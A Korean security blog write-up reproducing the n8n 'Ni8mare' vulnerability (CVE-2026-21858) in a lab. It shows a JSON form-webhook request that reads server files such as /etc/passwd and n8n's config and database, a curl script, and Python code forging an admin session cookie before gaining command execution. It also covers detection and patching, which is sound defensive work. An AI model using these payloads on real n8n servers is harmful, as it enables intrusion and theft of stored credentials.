Content-Type 한 줄 안 봤을 뿐인데 (CVE-2026-21858): n8n "Ni8mare" 언인증 RCE를 리얼 쉘로 — ZINO
2026-08-08·1분 읽기·
Content-Type 한 줄 안 봤을 뿐인데 (CVE-2026-21858): n8n "Ni8mare" 언인증 RCE를 리얼 쉘로
워크플로 자동화 플랫폼 n8n의 언인증 원격 코드 실행(CVE-2026-21858, 별칭 Ni8mare, CVSS 10.0)을 공격자 관점으로 재현한다. 공개 Form 웹훅이 Content-Type을 검증하지 않아, application/json으로 files.filepath를 넘기면 서버 파일을 임의로 읽는다. 그 파일 읽기만으로 encryptionKey와 owner의 bcrypt 해시를 꺼내 n8n-auth 세션 쿠키를 재계산하고, admin이 되어 Execute Command 노드로 셸을 얻는 전 과정을 격리 Kali 타겟 + 로컬 워크스테이션으로, 취약↔1.121.0 패치 대조까지 실제 터미널로 추적한다.
파일 업로드를 받는 코드가 "Content-Type 한 줄" 을 확인하지 않으면 어떻게 되는가. 2026년 1월, 워크플로 자동화 플랫폼 n8n의 폼 웹훅에서 그 답이 나왔다 — 업로드가 아니라 서버의 아무 파일이나 읽혔고, 그 파일 읽기 하나가 결국 인증 없는 원격 코드 실행으로 이어졌다. 발견자(Cyera)가 붙인 별칭이 "Ni8mare" 다.
n8n — 오픈소스 워크플로 자동화 플랫폼(자기호스팅), GitHub 스타 약 20만
n8n(n8n-io/n8n)은 노드를 이어 붙여 자동화 파이프라인을 짜는 도구다. GitHub 스타 20만, Docker 이미지 누적 2억 4천만 회 넘게 내려받힌 대형 프로젝트로, 사내망·홈랩에 "잠깐 띄워 두는" 경우가 많다. 이 글의 표적은 그 n8n이 노출하는 공개 Form 웹훅이다.
CVSS는 만점인 10.0이다. 벡터를 뜯어 보면 감점 요소가 거의 없다.
지표
값
뜻
AV / AC
Network / Low
네트워크 너머에서 조건 없이
PR / UI
None / None
인증도, 피해자 개입도 없이
S (스코프)
Changed
취약 컴포넌트 경계를 넘어
C / I
High / High
기밀·무결 완전 손상
A
None
(가용성 영향은 없음 — 그래서 9.x가 아니라 딱 10.0을 채우는 조합)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 분류는 CWE-20(부적절한 입력 검증). 영향 버전은 1.65.0 ≤ v < 1.121.0, 수정은 1.121.0.
GitHub 공식 보안 권고 — n8n Unauthenticated File Access via Improper Webhook Request Handling, Critical 10.0, 영향 1.65.0~1.120.x, 패치 1.121.0
권고문은 임팩트를 "폼 기반 워크플로 실행을 통해 서버 파일에 접근"이라고만 적어 파일 읽기까지로 뭉뚱그린다. 하지만 발견자 Cyera의 원 리서치는 그 파일 읽기가 로 이어지는 전체 체인임을 보여 준다. 이 글은 그 체인을 으로 재현한다 — 취약 버전을 해 띄우고, 공격은 에서 수행한다. 모든 터미널 화면은 렌더가 아니라 이다.
CVE-2026-21858 공격 체인 — 무인증 파일 읽기 → JWT 위조 → Execute Command RCE
배경: 공개 Form 웹훅과 파일 업로드
n8n의 Form Trigger 노드는 "웹 폼을 열어 제출을 받는" 트리거다. 워크플로를 활성화하면 /form/<path> 같은 공개 URL이 뜨고, 누구나 인증 없이 그 폼에 제출할 수 있다(그게 목적이다 — 문의 폼·설문·업로드 창구). 폼에 파일 필드가 있으면 제출은 multipart/form-data로 오고, n8n은 업로드된 임시 파일을 워크플로의 바이너리 데이터로 변환한다.
n8n GitHub 저장소 — Fair-code workflow automation, 200k 스타, 60k 포크, Security 정책 보유
여기서 파서가 둘이라는 점이 핵심이다. 요청이 multipart/form-data면 n8n은 formidable(멀티파트 파서)로 파일을 디스크의 임시 경로에 저장하고, req.body.files를 그 임시 파일 메타데이터(진짜 filepath 포함)로 채운다. 반면 요청이 application/json이면 JSON 바디 파서가 req.body를 요청 그대로 채운다 — files가 있으면 그 값도 요청이 준 것 그대로다. 두 파서는 같은 req.body.files라는 자리를 채우지만, 한쪽은 서버가 만든 안전한 경로를, 다른 쪽은 공격자가 준 임의 경로를 넣는다. 폼 처리 코드가 이 둘을 구분하지 않으면(=Content-Type을 안 보면), 후자의 경로가 그대로 파일 읽기로 이어진다.
전제 조건이 하나 있다 — 공개 Form 워크플로가 존재해야 한다. 이건 특수 설정이 아니라 n8n의 일상적 사용례다(문의 폼 하나면 족하다). 정찰 단계에서 이 표면부터 확인한다.
두 사실이 대비된다. 폼은 인증 없이 열려 있고(200), REST API는 인증 벽 뒤에 있다(401). 정상 설계다 — 폼은 공개, 관리 API는 보호. 이 글의 익스플로잇은 공개된 폼 하나로 그 인증 벽을 우회한다.
근본 원인: Content-Type을 안 보고 files를 믿는다
취약점은 폼 웹훅이 제출을 처리하는 prepareFormReturnItem()에 있다. 이 함수는 요청 바디에서 files를 꺼내 각 파일을 복사하는데, 그 요청이 정말 multipart 업로드인지 확인하지 않는다.
git show n8n@1.120.4:packages/nodes-base/nodes/Form/utils/utils.ts | sed -n -e 355,356p -e 396,402p
취약 소스 — getBodyData().files를 검증 없이 신뢰하고, copyBinaryFile(file.filepath)로 그 경로의 파일을 읽는다
핵심은 두 줄이다.
// packages/nodes-base/nodes/Form/utils/utils.ts (1.120.4 — 취약)const files = (context.getBodyData().files as IDataObject) ?? {}; // ← 요청이 준 files 를 그대로...returnItem.binary![binaryPropertyName] = await context.nodeHelpers.copyBinaryFile( file.filepath, // ⚠️ 공격자가 준 경로를 그대로 읽는다 file.originalFilename ?? file.newFilename, file.mimetype,);
정상 흐름에서 files는 multipart 파서(formidable)가 채운다 — 값은 서버가 만든 임시 업로드 파일 경로다. 그런데 요청을 Content-Type: application/json으로 보내면, JSON 바디 파서가 req.body.files를 공격자가 준 객체 그대로 채운다. 그 안의 filepath를 우리가 정하면, copyBinaryFile(file.filepath)가 서버의 그 파일을 읽는다. 업로드받는 코드가 다운로드 도구가 되는 순간이다.
랩 구성 — Kali 타겟 + 로컬 워크스테이션
역할
호스트
주소
무엇
타깃(피해)
Kali VM (격리)
100.82.133.123:5678
n8nio/n8n:1.120.4, 오너 + 공개 Form 워크플로
공격자
로컬 워크스테이션
100.84.130.6
실제 zsh에서 익스 + 결과 수집 서버
패치 대조
로컬
127.0.0.1:5680
n8nio/n8n:1.121.0
피해 n8n에는 오너 계정과 파일 업로드 필드가 있는 공개 Form 워크플로를 만들어 둔다(현실의 "문의 폼" 배포 상태). 이 폼은 제출물을 다운스트림 엔드포인트로 전달하도록 구성했는데, 그 대상을 공격자 수집 서버로 두면 폼이 읽은 파일 내용이 우리에게 온다. 이 "전달" 동작은 현실의 폼 워크플로가 업로드를 저장·전송하는 방식을 대변한다.
읽은 파일이 어떻게 공격자에게 돌아오는지는 취약 폼이 업로드로 무엇을 하느냐에 달렸다. Cyera의 원 시나리오는 폼이 업로드를 지식베이스(벡터 스토어)에 적재하고 공격자가 그 지식베이스를 질의해 회수하는 형태였다. 폼이 업로드를 이메일로 보내거나, 스토리지에 올리거나, 다른 API로 넘기는 경우에도 각각 회수 경로가 생긴다. 요지는 "파일이 워크플로의 데이터 흐름에 올라탄다" 는 것이고, 이 랩에서는 그 흐름을 수집 서버로 단순화했다.
① 언인증 임의 파일 읽기
와이어에서 오간 요청은 이렇게 생겼다 — 방어자가 로그에서 마주칠 모습이기도 하다.
POST /form/labform HTTP/1.1Host: target:5678Content-Type: application/json ← 폼은 multipart 를 기대하는데 JSON 을 보낸다{"files":{"file":{"filepath":"/etc/passwd","mimetype":"text/plain","size":9999}}}
exploit.py의 --read 모드가 이 요청을 보내고, 폼이 읽어 전달한 내용을 수집 서버에서 회수한다.
언인증 파일 읽기 — Content-Type: application/json으로 /etc/passwd를 읽어 회수한다(739 bytes)
인증도, 업로드도 없이 /etc/passwd가 통째로 돌아왔다. 같은 요청을 curl로 직접 던져 봐도 서버는 폼 제출로 받아들여 200을 준다 — 그 뒤에서 파일이 읽혀 나간다는 걸 응답만 봐선 알 수 없다.
#!/usr/bin/env bash# wire.sh — 공격 요청을 그대로 보여주고 curl 로 던져 응답 코드를 확인한다.T="${1:-http://100.82.133.123:5678}"echo '# 공격 요청 — Content-Type 은 application/json (폼은 multipart 를 기대)'echo "POST /form/labform Content-Type: application/json"echo '{"files":{"file":{"filepath":"/etc/passwd","mimetype":"text/plain","size":9999}}}'echo '# 서버 응답:'curl -s -X POST "$T/form/labform" -H 'Content-Type: application/json' \ -d '{"files":{"file":{"filepath":"/etc/passwd","originalFilename":"f","newFilename":"f","mimetype":"text/plain","size":9999}}}' \ -w '\n<-- HTTP %{http_code} (form 은 200 을 주지만, 뒤에서 파일이 읽혀 나간다)\n'
./wire.sh http://100.82.133.123:5678
와이어 트래픽 — Content-Type: application/json에 files.filepath를 실은 POST /form/labform, 서버는 200을 반환
임의 경로를 넣을 수 있으니, 이제 서버가 읽을 수 있는 아무 파일이나 우리 것이다. 문제는 "그래서 무엇을 읽느냐"인데, n8n은 자기 자신의 비밀을 예측 가능한 경로에 둔다.
경로
담긴 것
공격자에게
/home/node/.n8n/config
encryptionKey
JWT 서명키 유도의 재료
/home/node/.n8n/database.sqlite
사용자·워크플로·크리덴셜(암호화됨)
owner의 bcrypt 해시 + 복호 대상
/proc/self/environ
프로세스 환경변수
DB 접속·외부 키가 env에 있으면 노출
/etc/passwd · 앱 소스
시스템·코드
정찰
Docker 기본 배포에서 이 경로들은 고정이다(/home/node/.n8n/). 즉 공격자는 표적별 추측 없이 바로 그 두 파일을 노린다. 다음 절에서 그 둘로 세션을 위조한다.
② 파일 읽기만으로 admin 세션 위조
n8n은 데이터를 어디에 두는가. 컨테이너의 /home/node/.n8n/에 config(암호화 키) 와 database.sqlite(사용자·워크플로·크리덴셜) 가 있다. 둘 다 방금 그 파일 읽기로 회수할 수 있다.
왜 이 재료로 세션을 위조할 수 있나. n8n의 로그인 쿠키 n8n-auth는 JWT인데, 그 서명 비밀키가 별도 설정(env)이 없으면 encryptionKey에서 유도된다. 그 규칙이 소스에 못 박혀 있다.
git show n8n@1.120.4:packages/cli/src/services/jwt.service.ts | sed -n -e 11,23p -e 26,27p
jwt.service.ts — JWT_SECRET이 없으면 encryptionKey의 '한 글자 건너 하나'를 sha256한 값이 서명키가 된다
// packages/cli/src/services/jwt.service.ts (1.120.4)this.jwtSecret = globalConfig.userManagement.jwtSecret; // env 로 안 주면 비어 있음if (!this.jwtSecret) { // CAREFUL: do not change this or it breaks all existing tokens. let baseKey = ''; for (let i = 0; i < encryptionKey.length; i += 2) baseKey += encryptionKey[i]; // 짝수 인덱스만 this.jwtSecret = createHash('sha256').update(baseKey).digest('hex');}
세션 검증(verify)은 쿠키의 hash를 createJWTHash(user)와 다시 비교할 뿐이다. 그 재료(encryptionKey·email·bcrypt)가 전부 우리가 읽은 파일에 있으니, 우리는 서버가 발급했을 것과 똑같은 쿠키를 스스로 계산한다. browserId는 페이로드에 넣지 않으면 검사 조건(jwtPayload.browserId && …)이 단락 평가로 건너뛰어지므로, 브라우저 지문 없이도 통과한다.
여기서 짚을 아이러니가 하나 있다. jwt.service.ts의 그 주석 — CAREFUL: do not change this or it breaks all existing tokens — 은 키 유도 방식을 절대 바꾸지 말라는 개발자의 당부다. 하위 호환을 위해 encryptionKey에서 JWT 서명키를 결정론적으로 뽑는 이 규칙은, 바로 그 결정론 때문에 파일 하나를 읽은 공격자에게 서명키를 그대로 넘겨준다. 비밀(JWT 서명키)과 그 비밀을 여는 재료(encryptionKey)가 같은 신뢰 경계 안에 있으면, 그 경계를 뚫는 파일 읽기 하나로 둘 다 무너진다. N8N_USER_MANAGEMENT_JWT_SECRET을 별도로 설정한 배포는 이 유도 경로를 타지 않으므로 이 위조에 강하다 — 하지만 기본 배포는 그렇지 않다.
파일 두 개로 n8n-auth 쿠키를 재계산하는 흐름 — encryptionKey→jwtSecret, bcrypt→jwtHash, 서명→admin
exploit.py의 위조 로직은 소스의 두 함수를 그대로 파이썬으로 옮긴 것이다 — 표준 라이브러리만으로 계산한다.
# exploit.py — config(encryptionKey) + database.sqlite(owner) → n8n-auth JWT 위조def forge_cookie(config_bytes, db_bytes): key = json.loads(config_bytes)["encryptionKey"] uid, email, pw = sqlite3(db_bytes).execute( "SELECT id,email,password FROM user WHERE roleSlug='global:owner'").fetchone() jwt_secret = sha256(key[::2]).hexdigest() # jwt.service.ts jwt_hash = base64(sha256(f"{email}:{pw}").digest())[:10] # auth.service.ts payload = {"id": uid, "hash": jwt_hash, "usedMfa": False, "iat": now, "exp": now + 7*86400} return "HS256(payload, jwt_secret)" # → 쿠키 n8n-auth 로 그대로 붙인다
정찰(파일 읽기)에서 얻은 두 파일만 넣으면 유효한 admin 쿠키가 나온다. 서버에 로그인 요청조차 보내지 않으므로 인증 실패 로그도 남지 않는다 — 계산만으로 세션이 만들어진다.
③ admin → Execute Command → RCE
admin 쿠키를 손에 쥐면 나머지는 n8n의 정상 기능이다. Execute Command 노드가 든 워크플로를 만들어 실행하면 OS 명령이 돈다. exploit.py가 파일 읽기부터 여기까지 한 번에 태운다.
취약본(1.120.4)은 200을 주며 파일을 읽어 전달하지만, 패치본(1.121.0)은 assert가 걸려 500이 나고 로그에 Expected multipart/form-data가 남는다. 파일은 읽히지 않는다.
하나의 버그가 아니라, 셋의 합
이 체인을 뜯어 보면 어느 하나도 단독으론 "완전한 RCE"가 아니다. 셋이 겹쳐야 10.0이 된다.
Content-Type 미검증(입력 검증 결함). 폼 처리기가 files의 출처를 안 보고 믿었다. 단독으론 임의 파일 읽기(정보 노출)에서 멈춘다 — GHSA가 임팩트를 그 선에서 적은 이유다.
키 유도의 결정성(설계 결함). JWT 서명키가 encryptionKey에서 결정론적으로 나오고, 그 키가 읽을 수 있는 파일에 평문으로 있다. 이게 파일 읽기 → 세션 위조를 잇는다.
강력한 관리 노드(기능 vs 보안 긴장). admin이 되면 Execute Command 같은 노드로 OS 명령이 정당하게 돈다. 이게 세션 위조 → RCE를 잇는다.
각각은 "설계상 트레이드오프"로 볼 여지가 있다 — 폼은 편하게, 토큰은 호환되게, 자동화는 강력하게. 하지만 공개 폼이라는 한 평면 위에서 이 셋이 직렬로 이어지면, 개별의 합리성과 무관하게 최악의 결과가 나온다. 방어는 이 사슬의 어느 고리 하나만 끊어도 성립한다 — Content-Type을 확인하거나(1.121.0이 택한 길), JWT 시크릿을 분리하거나(2번 차단), 관리 노드를 제한하거나(3번 차단). n8n은 가장 근본인 1번을 막았다.
노출 규모 — 얼마나 퍼져 있나
정확한 실시간 노출 대수는 시점마다 다르지만, 규모의 하한은 공개 지표로 가늠된다. n8n의 Docker 이미지는 누적 2억 4천만 회 넘게 내려받혔고, GitHub 스타는 20만이다. 보안 벤더들은 이 CVE 공개 시점(2026년 1월) 기준 약 6만 대의 인터넷 노출 n8n 인스턴스가 취약 범위에 있었다고 집계했다. 자동화 도구 특성상 이들 뒤에는 연결된 크리덴셜(클라우드·DB·메신저·이메일)이 쌓여 있어, 한 번의 파일 읽기가 곧 그 크리덴셜 저장고(암호화 키까지)로 이어진다.
NVD CVE-2026-21858 — 폼 기반 워크플로 실행을 통한 서버 파일 접근, 미인증 원격 공격자, 1.121.0에서 수정
전제 조건("공개 폼 워크플로가 있어야 한다") 때문에 "대부분은 즉시 위험하지 않다"는 평가도 있었지만, 반대로 말하면 문의 폼 하나만 있으면 그 인스턴스는 완전히 뚫린다. 폼은 n8n을 실제로 쓰는 조직이라면 흔히 두는 구성이라, 이 전제는 생각보다 낮은 문턱이다.
탐지 — 방어자 관점
패치 전이라도 이 공격은 로그에 뚜렷한 흔적을 남긴다.
요청 본문(WAF/리버스 프록시). 폼 웹훅(/form/*·/webhook/*)으로 가는 POST의 Content-Type이 multipart/form-data가 아닌데 본문에 files 객체와 filepath 키가 있으면, 정상 폼 제출에서는 나올 수 없는 신호다. 특히 filepath 값이 /home/node/.n8n/·/etc/·database.sqlite를 가리키면 확정적이다.
애플리케이션 로그. 패치본은 Expected multipart/form-data를 남긴다. 취약본에서는 폼 실행 뒤 예상 밖 파일이 바이너리로 처리되는 흔적, 그리고 곧이어 REST API로 새 워크플로(특히 Execute Command 노드)가 생성·실행되는 상관 이벤트를 본다.
세션 이상. 위조 n8n-auth 쿠키는 네트워크만으로는 정상과 구분이 어렵다. 대신 새 IP에서 갑자기 owner 권한 API 활동(워크플로 생성·실행)이 생기면 의심한다. 근본적으로는 N8N_USER_MANAGEMENT_JWT_SECRET을 명시적으로 설정해 encryptionKey 유도 경로를 끊는 것도 심층 방어가 된다.
RCE 이후 — 자동화 허브가 특히 아프다
n8n은 uid=1000(node)의 비루트로 돌지만, 공격자 입장에서 자동화 허브는 값진 표적이다.
연결된 크리덴셜 탈취. n8n의 존재 이유가 외부 서비스 연동이다. database.sqlite의 credentials_entity 테이블에는 각 연동의 비밀이 들어 있는데, n8n은 이걸 encryptionKey로 AES 암호화해 저장한다. 그런데 그 키도 방금 config에서 읽었으니 평문 복호가 가능하다 — 클라우드 토큰·DB 접속 문자열·메신저 봇 토큰·SMTP 자격이 통째로. admin API로 복호된 값을 꺼낼 수도 있다. 즉 이 한 취약점은 n8n 자신의 장악을 넘어 그 n8n이 연결된 모든 시스템으로 반경이 넓어진다.
워크플로 변조·지속성. admin이므로 기존 워크플로를 바꾸거나 새 워크플로(스케줄·웹훅 트리거)를 심어 지속성을 얻는다.
측면 이동. 자동화 도구는 내부망 여러 시스템에 아웃바운드가 열려 있는 게 보통이라, 그 연결들이 곧 다음 도약대다.
방어 — 무엇을 했어야 하나
1.121.0 이상으로 올린다. 정공법이다. 폼 웹훅이 Content-Type을 검증한다.
공개 폼/웹훅 엔드포인트를 최소화한다. 당장 못 올리면, 공개적으로 접근 가능한 폼·웹훅을 잠그거나 프록시 인증 뒤로 숨긴다(GHSA의 임시 완화책).
N8N_USER_MANAGEMENT_JWT_SECRET을 명시 설정하고, .n8n 데이터 디렉토리·database.sqlite의 접근을 최소 권한으로. 키가 데이터와 같은 곳에 있으면 파일 읽기 하나가 세션 위조로 직결된다.
입력 검증은 "형태"가 아니라 "출처·타입"까지.files가 있으니 파일이겠거니 하고 믿은 게 이 버그의 본질이다 — 그 요청이 정말 파일 업로드였는지(Content-Type)부터 확인해야 했다. 1.121.0의 한 줄 assert가 정확히 그 지점이다.
정리
폼이 기대한 건 multipart/form-data였고, 공격자는 application/json을 보냈다. 그 한 줄을 확인하지 않은 대가가 임의 파일 읽기였고, n8n이 암호화 키와 자격 해시를 같은 파일 트리에 두었기에 그 읽기가 곧바로 admin 세션 위조가 됐으며, admin에게 열린 Execute Command 노드가 마지막 문을 열었다. 세 결함(Content-Type 미검증·키 유도의 결정성·강력한 관리 노드)이 각각은 사소해 보여도, 공개 폼 하나 위에서 이어지면 인증 없는 완전한 RCE가 된다.
이 글이 다룬 다른 사례들과 같은 교훈이 여기에도 있다 — Crawl4AI의 "설정이 곧 실행 명령", Open WebUI의 "검증한 대상 ≠ 사용한 대상"처럼, 이번엔 "믿은 입력 ≠ 검증한 입력" 이다. 입력의 모양(files가 있다)이 아니라 출처와 타입(정말 업로드인가)을 확인하는 것, 그리고 비밀과 그 비밀을 여는 재료를 같은 경계에 두지 않는 것 — 두 원칙이면 이 사슬은 처음부터 이어지지 않았다.
환경: 타깃 = n8nio/n8n:1.120.4(Alpine 베이스), 공격 = 로컬 실제 zsh. 패치 대조 = n8nio/n8n:1.121.0.
전제: 공개 Form 워크플로 1개(현실의 문의 폼 수준).
핵심 요청: POST /form/<path> + Content-Type: application/json + {"files":{"file":{"filepath":"…"}}}.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…